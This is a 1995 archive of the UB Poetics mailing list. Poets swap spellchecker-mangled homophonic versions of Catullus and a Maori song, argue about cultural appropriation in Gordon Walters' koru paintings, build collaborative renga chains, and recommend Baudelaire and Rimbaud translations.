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231. **beard**
More corrections
Mon 7 Aug 1995

Here's Microsoft Word's "correction" of Catullus XI, followed by a poem that the NZers on the list should easily recognise.

Furry ate aurally

Fury eat aureole, commits chattily,
sue in extremes penetrate indoors,
litmus out lounge resonant era
tuned otter undo,

sire in hyraces Arabs molest,
sea sagas Seagate ferrous pathos,
site quake septum gaminess colorant
aqua aura nil's,

site trains atlas grad outer aloes,
caesuras unisons monument mango,
gallium rhenium horrible ere quire util-
mosque Britons,

ammonia haiku, queer kumquat ferret colon task
camel item, tempter simile parrot,

pause noontide mead paella
        non bona dicta.

cum suits eau valet queen mochas,
quasi simile complex tenet trek scents,
null amass ere, sew ides tedium ominous
        Iliad rumens;

neck mum receptor, out ante, amore,
quip lilies cult sec idiot use lute pretty
ultimo floss, praetor aunt post qualm
        cactus Atari east.

        Poker care any

Pokier Karen Anna nag way of waif ape.
White ate doe, a hike, marina anal a!

I hide a, hockey may ram!
Qua mate ahead I tea aroma a!

I Korea the aloha a maraca I toe rag.
Mack tofu I auk roommate a!

I whine a, hooky maid ran!
Kay mate ahead I tie aorta a!

Thai thug take recta, tutu at tack ring.
Kid kite to kiwi, rare rare any a!

I hinge a, hooch Mao rap!
Qua mate ahead I the aloha a!

Whereto wheat take pence, eau Peru auk pepper.
Quo take aroma maul tong ant a!

I hive a, hock maim rat!
Kay mate oh I ate aorta a!

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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232. beard
folk rhythms & forms/Walters
Mon 7 Aug 1995

Wystan wrote:

> *Tom, I don't understand 'formal possibilities, without any necessary reference to its cultural origins and context.'? First this is not the same as the Reily (sic) proposition, which refers to not 'understanding' the context concerned. Walters certainly did understand the context, indeed his understanding among Pakeha artists of the period was rivalled only by his friend Theo Schoon.*

I certainly didn't mean to imply that Walters didn't understand the cultural context of the koru - perhaps I worded my post poorly. What I meant was that a _viewer_ can appreciate the formal patterns in a Walters painting without having any knowledge of maoritanga her- or himself. A naive viewer (such as myself :-)) can enjoy the visual rhythms and shifting figure/ground relationships of these paintings while knowing next to nothing about what the koru design means to Maori. It's in _this_ sense that I think the misunderstanding (or more likely non-understanding) can be creative.

As Jonathon said,

> *Unencumbered*
> *by its original cultural baggage, the relatively regimented forms of making and doing within one culture are free to evolve in new directions when adapted by another.*

While "cultural baggage" has the wrong connotations in this context, I think that it's fair to say that Walters' paintings have "evolve[d] in new directions", with the koru (at least to some eyes) as abstract design rather than signifier (what does the koru signify to the average Pakeha, other than Air NZ?).

I agree that Walters has great understanding of and sensitivity to Maori culture (as his titles show - good point). But he has still been attacked for "appropriating" the koru, and desecrating it by taking it out of context. I have a vague recollection that Ngahuia te Awekotuku was offended by a title that (I think) translates to "prayer" in English.

> *Second, the notion that you can explore a form*
> *with any necessary reference to cultural context is a modernist heresy. No PC police required there.*

I'm not sure what you mean by this. Do you mean "with_out_ any necessary reference"? And I'm intrigued by your use of the word "heresy". A heresy implies an orthodoxy (and hence a police :-)) - against which orthodoxy does one trespass when exploring a form outside of its cultural context? And are you using "heresy" in the pejorative sense? I'm quite partial to heresies, myself.

To bring this back to poetics, is it heresy to write a haiku (or indeed a renga) without any knowledge of or reference to its place within Japanese culture? Is it heretical to take phrases from (say) an American fashion magazine and combine them into a found poem without any reference to their original context? "Heresy, man!"

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

233. Louis Cabri

downstream diddly sqwawk

Mon 7 Aug 1995

>
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> condemmed.
> promised what she practiced as triangular blue feats soothed
> stunned images into form, saying a need, similar days
> to those not before, yet stored, whose sifted haze
> pretaxed a little roughage for the good of order modified by "the"
> "annotated""Notley-esque""hurly-burly""wigwam"
> imagery, with its narrative cast, in realtime installations.

But unlike news on the hour, with your anchor, Foghorn Leghorn

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234. Jorge Guitart
Re: Canadian Love Call
Mon 7 Aug 1995

On Sun, 6 Aug 1995, Ron Silliman wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> condemmed.
> promised what she practiced as triangular blue feats soothed
> stunned images into form, saying a need, similar days
> to those not before, yet stored, whose sifted haze
> pretaxed a little roughage for the good of order modified by "the"
> "annotated""Notley-esque""hurly-burly""wigwam"
  "of" "the" "type" "that" "you" "find" "in" "ego" "commisures"

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235. Jorge Guitart
Re: Renga4?
Mon 7 Aug 1995

On Sun, 6 Aug 1995, Sheila E. Murphy wrote:

> > [D
> >(Probably Renga 4-a or 4-b)
> >
> >> >In the books were dreams and in the dreams were books.
> >> >And flew through windows, lightning green and fine morning
> >> >First inverted whistle of a cardinal in the poplar
> >> >The book and the oboe on the grass under sun and cloud
> >> >Go endlessly, an obtuse Prussian blue, it binds
> >> >The caravan of windows to what they flee
> >> >These lace curtains, more gauze than bondage, more
> >> >Mollycoddled than aware, thin-spined and pebbling

> >> >but narrow in the waist or waspish Sunday years ago
> >> >Over coffee topped with whipped cream, the Times blowing
> >> >& opining, heavy humid air, cumulus amusing against the
> >> >bleached ribcage ripcorded into compassed wind
> >> >kissing the weatherwoman between her breasts as she
> >> >gives gracious problem: fanatical snacks, landscape of
> >> >lunar dust, the misdirected modules returning to the morning
> >> >from the books out of the dreams away from the lonesome
> >> >wail of the glob that cradles in its claws The Anthology
> >> >of retrospective prescience sanded down to mean the elbows cleanly fit
> >> >sucking, winding, foraging, menacing, saving, stinging, erasing
> >> bandages-to-be from consciousness and conscience plexiglassed against
> >> the unfeasible & the give-me-a-rub type of moral history
> >rubbertyred rubicund marshmallows fill the tunic made of a material called
whipped cream from the fifties with anti-un-americana written all over it

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236. cris cheek
Re: Quirky Urgencies
Mon 7 Aug 1995

Tom, I appreciate your advocacy of the diversity made necessary by the attempt to 'imitate' another's form. And I agree wholeheartedly that the swerve occasioned by those attempts can generate fascinating work.

> *Perhaps originality finds in imitation an interesting motor to appear.*

Yup. 'Found' poems lever this issue wide open.

There's another characteristic that's appropriate to this discussion - it's the nature of the impossibility of returning to a state before learning, without the influence of that learning being somehow present. For example when I first started writing ('75) people would say to me "so, how long have you been doing cut ups?" The answer of course was that I never had. But, at first glance my work could look as if it had been produced by a cut up process. Well, the point is that I'd read Burroughs - in particular samizdat collections such as 'White Subway' - but more essentially I was exploring syntactic 'continuous discontinuities' as a response to complexities of interactive human (for me at that time urban-focussed) simultaneities as a response to a 'staring' for humane consciousness in the post-Hiroshima, post-vietnam, post-colonial context of a collapsing western world power. I was both thinking and writing in what other's might consider disjunctions but which for me had 'internal logic' in their making.

There is a bridge here to discussions about forms - influences and imitations - with respect to 'lang-po' and folk cultures. There is also a bridge to discussions on copyright and origination.

The renga fever which continues, gloriously unabated, displays familiar paradigms in such respects.

love and love
cris

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237. cris cheek
Re: folk rhythms & forms
Mon 7 Aug 1995

Tom Beard writes:

> *Are we allowed*
> *to use (e.g.) the myths of other cultures in our writings, in whatever way we want, or do we have to sit a test to prove our cultural sensitivity?*

Use as make has double-edges which render them both positive and exploitative terms. It's sensitivity to those double-edges which is perhaps most nourishable. Fuck the police. Be alert,humane and curious.

love and love
cris

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238. maria damon
Re: avoidance behavior syndrome
Mon 7 Aug 1995

In message <[redacted]> UB Poetics
discussion group writes:
> Dear George,
> I recall someone speaking lately of the 'rigor' required when
> trucking across the 'slippery landscape of gender'. And one proposal which
> followed was that we drop the words for gender they are so slippery, so hard
> to grasp they fall from one's hands. My proposal, however, would be to
> drench all the words we are interested in in whatever mucous membrane,
goop,
> bodily fluid we can lay hands on and like Ishmael said: SQUEEZE 'em good!
> Are you with me?
> Wystan

can you give an example?--md

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239. **maria damon**
Re: Renga4?
Mon 7 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> > [D
> >(Probably Renga 4-a or 4-b)
> >
> >> >In the books were dreams and in the dreams were books.
> >> >And flew through windows, lightning green and fine morning
> >> >First inverted whistle of a cardinal in the poplar
> >> >The book and the oboe on the grass under sun and cloud
> >> >Go endlessly, an obtuse Prussian blue, it binds
> >> >The caravan of windows to what they flee
> >> >These lace curtains, more gauze than bondage, more
> >> >Mollycoddled than aware, thin-spined and pebbling
> >> >but narrow in the waist or waspish Sunday years ago
> >> >Over coffee topped with whipped cream, the Times blowing
> >> >& opining, heavy humid air, cumulus amusing against the
> >> >bleached ribcage ripcorded into compassed wind
> >> >kissing the weatherwoman between her breasts as she
> >> >gives gracious problem: fanatical snacks, landscape of
> >> >lunar dust, the misdirected modules returning to the morning
> >> >from the books out of the dreams away from the lonesome
> >> >wail of the glob that cradles in its claws The Anthology
> >> >of retrospective prescience sanded down to mean the elbows cleanly fit
> >> >sucking, winding, foraging, menacing, saving, stinging, erasing
> >> bandages-to-be from consciousness and conscience plexiglassed against
> >> the unfeasible & the give-me-a-rub type of moral history
> >rubbertyred rubicund marshmallows fill the tunic made of a material called
> whipped cream from the fifties
concupiscence, combo, Dumbo and mason jars
> >
> >

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240. **maria damon**
Re: Renga4?
Mon 7 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >> In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> >> & opining, heavy humid air, cumulus amusing against the
> >> bleached ribcage ripcorded into compassed wind
> >> kissing the weatherwoman between her breasts as she
> >> gives gracious problem: fanatical snacks, landscape of
> >> lunar dust, the misdirected modules returning to the morning
> >> from the books out of the dreams away from the lonesome
> >> wail of the glob that cradles in its claws the anthology
> >> of retrospective prescience sanded down to mean the elbows cleanly fit
> >> sucking, winding, foraging, menacing, saving, stinging, erasing
> > subsuming, presupposing, debasing & whatnot, & the Masque said
> halt with this tone row winded by Evelyn Wood scans through thesauri
but none so gracious as the brontosaurus on your upper right hand

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241. **maria damon**
Re: your mail
Mon 7 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >> >> > In the books were dreams and in the dreams were books.
> >> >> > > And flew through windows, lightning green and fine morning
> >> >> > > First inverted whistle of a cardinal in the poplar
> >> >> > > The book and the oboe on the grass under sun and cloud
> >> >> > > Go endlessly, an obtuse Prussian blue, it binds
> >> >> > > The caravan of windows to what they flee
> >> >> > > These lace curtains, more gauze than bondage, more

> >> >> > > Power to the spider, virtuous in act if not intent
> >> >> > > Sight over sound for "justice," O cubes of Cuba! Where
> >> >> > > would calmness be without the stain of possession and
> >> >> > Belief. A mirage effect, art, made to waver in
> >> >> > a modicum of chocolate milk. Not too late for
> >> >the phalarope, anodyne, cynesure, palindrome or rapturous whatnots
> >> doused in chemicals resembling chemlab outputs straining to be
> >> with their rehab brothers & sisters in the metaphor they lived by
> patching rent with cyclical amendments, dotted swiss and white pleats
bleating, and linen is definitely the poets' fabric of choice this summer

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242. **maria damon**
Re: avoidance behavior syndrome
Mon 7 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Rod Smith wrote
>
> "I believe the spelling is guitar."
>
> Probably he meant to say
>
> "I believe that the spelling is guitar."

or guitart.

↑ Index

243. **maria damon**
Re: folk rhythms & forms
Mon 7 Aug 1995

---

o renga renga renga
i made you out of clay
and when yr dry and ready
with renga i will play

O! renga renga renga
i made you out of clay
and if you're not nice to me
i'll make you go away

etc ad infinitum...

↑ Index

244. Gwyn McVay
Baudelaire
Mon 7 Aug 1995

Hi, list. I was wondering if anybody would be willing to reflect back to me their experiences with various translations of Baudelaire. I am not interested in establishing whether one translation is considered "best" or "definitive", but if anyone knows one or more translations, tell me--did it come close, inasmuch as that's possible, or did it completely miss the old bateau ivre?

Thanks--

Gwyn McVay
[redacted]

↑ Index

245. Wystan Curnow
Re: avoidance behavior syndrome
Mon 7 Aug 1995

Maria,
    guitart a here!

Wystan

↑ Index

246. Jorge Guitart
Re: your mail
Mon 7 Aug 1995

On Mon, 7 Aug 1995, maria damon wrote:

> *In message <[redacted]> UB Poetics discussion group writes:*
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Power to the spider, virtuous in act if not intent*
> *Sight over sound for "justice," O cubes of Cuba! Where*
> *would calmness be without the stain of possession and*
> *Belief. A mirage effect, art, made to waver in*

> *a modicum of chocolate milk. Not too late for*
> *the phalarope, anodyne, cynesure, palindrome or rapturous whatnots*
> *doused in chemicals resembling chemlab outputs straining to be*
> *with their rehab brothers & sisters in the metaphor they lived by*
> *patching rent with cyclical amendments, dotted swiss and white pleats*
> *bleating, and linen is definitely the poets' fabric of choice this summer*
> *but the buccaneers of opinion are at their desks while we play*

↑ Index

247. Jonathan Brannen
Re: avoidance behavior syndrome
Tue 8 Aug 1995

Responding to George Bowering 6 Aug;

Ok, George, if you're certain.

Jonathan

↑ Index

248. Ryan Knighton
Re: folk rhythms & forms
Tue 8 Aug 1995

---

maria's song is truly the bestest.
I would like to start singing a round via email.

↑ Index

249. Ron Silliman
Rengada
Tue 8 Aug 1995

In
And flew
First
The book and
Go endlessly,
The caravan
These lace
Power
Sight
would
Belief
a modicum
the phalarope

doused
with their
patching rent
bleating,

↑ Index

250. **Ron Silliman**
Re: Rengaphobia
Tue 8 Aug 1995

George Bowering wrote:

>Hey, who among us draws "theoretical conclusions." Ron. All the
>theory that speaks to me over the past 30 years has persuaded me that
>my old aversion to conclusions was right.
>
Oh. I thought that was an "aversion to concussions." I stands
corrected.

↑ Index

251. **Ron Silliman**
Re: Rengaphobia
Tue 8 Aug 1995

> *I'd just like to know how tall Ron is.*

5'9", 205 pounds, same dimensions as Kevin Mitchell (without the gold tooth)

↑ Index

252. **Pierre Joris**
Re: Baudelaire
Tue 8 Aug 1995

Baudelaire sure missed the ole bateau ivre --that was rimbaud's trip...

> *Hi, list. I was wondering if anybody would be willing to reflect back to me their experiences with various translations of Baudelaire. I am not interested in establishing whether one translation is considered "best" or "definitive", but if anyone knows one or more translations, tell me--did it come close, inasmuch as that's possible, or did it completely miss the old bateau ivre?*
>
> *Thanks--*

> *Gwyn McVay*
> [redacted]

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

253. Paul Naylor ok 157602

Nathaniel Mackey's CD

Tue 8 Aug 1995

Nathaniel Mackey's compact disk, _Strick: Song of the Andoumboulou 16-25_, is now available from _Spoken Engine_. On this high-quality, digital recording, Mackey reads ten recent installments from his ongoing serial poem, _Song of the Andoumboulou_,to the accompaniment of Royal Hartigan on percussion and Hafez Modirzadeh on reeds and flute.

The CD costs $14, postage paid. Make checks payable to _Spoken Engine_ and send
to

Spoken Engine
P.O. Box 771739
Memphis, TN 38177-1739

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

254. **Gwyn McVay**

Re: Baudelaire

Tue 8 Aug 1995

Yeah, yeah. But everybody always says them together like they were joined at the hip or something--Baudelairerimbaudverlaine, etc.--so I figured they could at least be sitting in the same boat.

On Tue, 8 Aug 1995, Pierre Joris wrote:

> *Baudelaire sure missed the ole bateau ivre --that was rimbaud's trip...*
>
> *Hi, list. I was wondering if anybody would be willing to reflect back to me their experiences with various translations of Baudelaire. I am not interested in establishing whether one translation is considered "best" or "definitive", but if anyone knows one or more translations, tell me--did it come close, inasmuch as that's possible, or did it completely miss the old bateau ivre?*
>
> *Thanks--*
>
> *Gwyn McVay*
> [redacted]
>
> ==========
> ==========
> *Pierre Joris | "Poems are sketches for existence."*
> *Dept. of English | --Paul Celan*
> *SUNY Albany |*
> *Albany NY 12222 | "Revisionist plots*
> *tel&fax:*[redacted] *| are everywhere and our pronouns haven't yet*
> *email: | drawn up plans for the first coup."*
> [redacted]*| --J.H. Prynne*
> ==========
> ==========

Gwyn McVay
[redacted]

"When I hear the word 'gun' I reach for my art."

↑ Index

255. **Robert Drake**
Re: Baudelaire
Tue 8 Aug 1995

Gwyn's query about Baudelaire came in just after Tom Beard's /Microsoft's corrections to Cattulus; that "coincidence" reminded me of a collection i put out of Baudelaire translitterations by Andrew Klimek--human, not mechanical, intervention...

The He Who Is Autonomous, Timorous, & Few

I am the milkshake without color
And without hands, come the butcher,
Come Moses the rocker!
And I am wild as a pauper,

For the abbreviation of my Sahara,
The jailer has the eyes of Southern France.
My desire has gone, fled the desperation
Over the black's salty tears.

Comes a vassal who pretends to be so large,
And in my heart quills and coins descend
The chairs of bloodspots retire
Come the tambourine who ducks the charge

Nor am I in false accord
In the divine symphony,
Grace of voracious Irony
Who has secured me and who has killed me?

Elle is in my voice, the crier!
It's all of my blood, the poison black!
I am the sinister mirror
Or am meagerly regarded!

I am the place and the Cocteau!
I am the souffle and the joy!
I am the members and the red,
And the victim and the ass!

I am of the heart of the vampire,
--One of the great abandoners
Of the eternal dire damnings,
And who never cries more than laughs!

--Andrew Klimek
from _Flowers of Mel_
Burning Press, 1990

luigi
TRR/Burning Press
[redacted]

↑ Index

256. Pierre Joris
Re: Baudelaire
Tue 8 Aug 1995

...also known as the "three men in a boat" version of frog lit...BTW re The Drunken Boat, check out Clayton Eshleman's version in his _Conductors of the Pit_. It's one of the more impossible poems to translate. Of that threesome, drop Verlaine & substitute Nerval -- much better poet, & some excellent translations of the great sonnets by Robin Blaser (plus criticism of those by Duncan).

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

257. maria damon
Re: Rengaphobia
Tue 8 Aug 1995

In message <[redacted]> UB Poetics discussion
group writes:
> >I'd just like to know how tall Ron is.
>
>
> 5'9", 205 pounds, same dimensions as Kevin Mitchell (without the gold
> tooth)

who's kevin mitchell?

↑ Index

258. **maria damon**
republicans
Tue 8 Aug 1995

---

a little gem to lance your day...md

---------- Forwarded Message begins here ----------
Subject: House Republicans Vote Down Fourth Amendment

> *---------- Forwarded message ----------*
> *Date sent: Fri, 17 Feb 1995 08:54:34 EST*
> *Send reply to: Association of Black Sociologists*
> *<[redacted]>*
>
> *Here is a little tidbit that should cause everyone on this list to say Hmmm.*
> *a funny (as in "disturbing," not "hilarious") anecdote: i didn't hear*
> *about this when it happened.*
>
> *==========*
> *February 7, 1995 - House Republicans Vote Down Fourth Amendment*
>
> *Once again, here I go including something not strictly Newt. Gingrich*
> *is however the leader of the House Republicans so ... During the*
> *debate today over the House Republicans' bill about the Exclusionary*
> *Rule, the House Black Caucus introduced an amendment to the bill that*
> *the Republicans promptly voted down. The amendment turned out to be*
> *the Fourth Amendment to the Constitution, verbatim. The House*
> *Republicans were "chagrined." The vote was 303-121, meaning that a*
> *number of Democrats joined the Republicans.*
>
> *Here's the Fourth Amendment:*
>
> *Amendment Article 4*
>
> *Right of Search and Seizure Regulated.*
>
> *The right of the people to be secure in their persons, houses, papers,*
> *and effects, against unreasonable searches and seizures, shall not be*
> *violated, and no warrants shall issue but upon probable cause, supported by*
> *oath or affirmation, and particularly describing the place to be searched,*
> *and the persons or things to be seized.*
> *=======*

> *Hard to believe they didn't recognize the language. I hope they were all thouroughly embarrassed.*
>
> *Dan*

---------- Forwarded Message ends here ----------

---------- Forwarded Message ends here ----------

↑ Index

259. **maria damon**
Re: Baudelaire
Tue 8 Aug 1995

In message <[redacted]> UB Poetics discussion
group writes:
> ....also known as the "three men in a boat" version of frog lit...BTW
> re The Drunken Boat, check out Clayton Eshleman's version in his
> _Conductors of the Pit_. It's one of the more impossible poems to
> translate. Of that threesome, drop Verlaine & substitute Nerval --
> much better poet, & some excellent translations of the great sonnets
> by Robin Blaser (plus criticism of those by Duncan).
>
>pj

speaking of AR, i know louise varese's translation of some of the letters and Illuminations is spozed to be good, but she translates "je est un autre" as "i am someone else," or something like that (don't have the book in front of me), which i think domesticates a really wild statement in an unfortunate way. what's the opinion of relatively more native speakers (I know yr not "french", pj, but yr knowledge thereof is certainly vast...)--md

↑ Index

260. **Willa Jarnagin**
Re: avoidance behavior syndrome
Tue 8 Aug 1995

> *"I believe the spelling is guitar."*
>
> *Probably he meant to say*
>
> *"I believe that the spelling is guitar."*

Yes, but do you BELIEVE in guitar?

Willa

↑ Index

261. **Pierre Joris**
Re: Baudelaire
Tue 8 Aug 1995

---

md writes:

> *speaking of AR, i know louise varese's translation of some of the letters and Illuminations is spozed to be good, but she translates "je est un autre" as "i am someone else," or something like that (don't have the book in front of me), which i think domesticates a really wild statement in an unfortunate way. what's the opinion of relatively more native speakers (I know yr not "french", pj, but yr knowledge thereof is certainly vast...)--md*

don't know if it's vast, Maria, but thanks for lancing my day that way. The Varese translations were excvellent, but are in need of overwhaul. The famous sentence you quote is (& has beeen) much better translated as "I is another." pj

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

262. **Edward Foster**
Re: desire / and the 39 steps
Tue 8 Aug 1995

---

mirrors picking up self to flower, flame, in darkened summer room: he, all joy, compatriot, companion, the elemental he for whom all care is urgent, needed now. and so the petals open and in budding, joy is termination, mine.

↑ Index

263. Jorge Guitart
Re: avoidance behavior syndrome
Tue 8 Aug 1995

Who or what is "guitart"

On Tue, 8 Aug 1995, Wystan Curnow wrote:

> *Maria,*
> *guitart a here!*
>
> *Wystan*

↑ Index

264. Jorge Guitart
Re: Rengada
Tue 8 Aug 1995

Ron's song to which i wish to add:

> In
> And flew
> First
> The book and
> Go endlessly,
> The caravan
> These lace
> Power
> Sight
> would
> Belief
> a modicum
> the phalarope
> doused
> with their
> patching rent
> bleating,
but i'll go swinging
& a-rengaing
with my very favorite maria
the one they call
nomad-air-am

↑ Index

265. **maria damon**
Re: Baudelaire
Tue 8 Aug 1995

The famous sentence you quote is (& has beeen) much better
> translated as "I is another."
> pj
>
>
yes, and i also like to think of it as "'I' is an/Other." with lots of little estranging punctuation marks for defamiliarising overkill.--md

↑ Index

266. **I.LIGHTMAN**
Re: Baudelaire
Tue 8 Aug 1995

Just to recommend a stunning book, translating and re-translating the same single Baudelaire poem forty times, called Spleen, by Nicholas Moore, a British poet; he wrote all the poems as an angry response to a translation competition run by a British newspaper in the sixties, and sent each one under a more and more ridiculous psuedonym, until the judge, George Steiner, spotted the game, and awarded a Special Mention prize; I'll bring in some of the translations and put them on the list in the next few days. I think, myself, that Baudelaire has suffered from being block-translated, ie the whole of the Sulky Flowers (ho ho) book, by one translator commissioned by a publisher; he would be best served by an anthology of translations by many translators, I feel,

Ira Lightman

↑ Index

267. **maria damon**
Re: avoidance behavior syndrome
Tue 8 Aug 1995

---

u tell me.--md

someone writes:
> Who or what is "guitart"
>
> On Tue, 8 Aug 1995, Wystan Curnow wrote:
>
> > Maria,
> > guitart a here!

> >
> > Wystan
> >

↑ Index

268. **maria damon**
Re: Rengada
Tue 8 Aug 1995

In message <[redacted]> UB
Poetics discussion group writes:
> Ron's song to which i wish to add:
>
> > In
> > And flew
> > First
> > The book and
> > Go endlessly,
> > The caravan
> > These lace
> > Power
> > Sight
> > would
> > Belief
> > a modicum
> > the phalarope
> > doused
> > with their
> > patching rent
> > bleating,
> but i'll go swinging
> & a-rengaing
> with my very favorite maria
> the one they call
> nomad-air-am
om gate gate parasam
guitarte nam yo ho
RENGA
kyo

↑ Index

269. Jerry Rothenberg
Re: Baudelaire
Tue 8 Aug 1995

Since Pierre Joris is my dear friend & sometime collaborator, let me put in a bid to open up the word "another" & bring it back to two words; thus: "I is an other." At least that's how we have it in zee big new anthology, Pierre: page 44 of the recently acquired bound pages -- & a much better entry into questions of "self" & "other."

Talk to you soon.

JERRY

↑ Index

270. Gabrielle Welford
Re: Renga 1
Tue 8 Aug 1995

On Sun, 6 Aug 1995, Tom Mandel wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> condemmed.
> promised what she practiced as triangular blue feats soothed
> stunned images into form, saying a need, similar days
> to those not before, yet stored, whose sifted haze
burst into joyous worm worm through a papaya hot morning

↑ Index

271. Susan Schultz
Re: Rengaphobia
Tue 8 Aug 1995

A baseball player. Plays in Japan now when he's not pouting.

On Tue, 8 Aug 1995, maria damon wrote:

> *In message <[redacted]> UB Poetics discussion group writes:*
> *I'd just like to know how tall Ron is.*
>
> *5'9", 205 pounds, same dimensions as Kevin Mitchell (without the gold tooth)*
>
> *who's kevin mitchell?*

↑ Index

272. Gabrielle Welford

Re: Renga3?

Tue 8 Aug 1995

On Sun, 6 Aug 1995, Sheila E. Murphy wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *would calmness be without the stain of possession and*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *prickling with tenors, saving arrogance for free choice, long division*
> *with its equally long aftertaste, or did its overtone*
> *collapse a wild sugar ago the fleet of cabernet oblivions for*
> *outrage. Marketing posture allowed gravel a way home*

↑ Index

273. Ryan Knighton

Re: Rengada

Tue 8 Aug 1995

Oh mY, everything is now subject to rengafication! Identity crises abound.

↑ Index

274. Ryan Knighton
Harper
Tue 8 Aug 1995

Can somebody help me. I recently heard a reading given by Michael S. Harper and need some of his bood titles. Thanks.

Ryan Knighton
[redacted]

↑ Index

275. Gabrielle Welford
Re: Renga 1
Tue 8 Aug 1995

On Sun, 6 Aug 1995, Jorge Guitart wrote:

> *On Sat, 5 Aug 1995, Sheila E. Murphy wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *who do you think is at the end of this shaft if it isn't*

↑ Index

276. Gabrielle Welford
Re: Renga2?
Tue 8 Aug 1995

On Sun, 6 Aug 1995, Jorge Guitart wrote:

> *On Sat, 5 Aug 1995, Charles Alexander wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Power to the spider, virtuous in act if not intent*
> *Sight over sound for "justice," O cubes of Cuba! Where*
> *would calmness be without the stain of possession and*
> *Belief. A mirage effect, art, made to waver in*
> *a modicum of chocolate milk. Not too late for*
> *the phalarope, anodyne, cynesure, palindrome or rapturous whatnots*
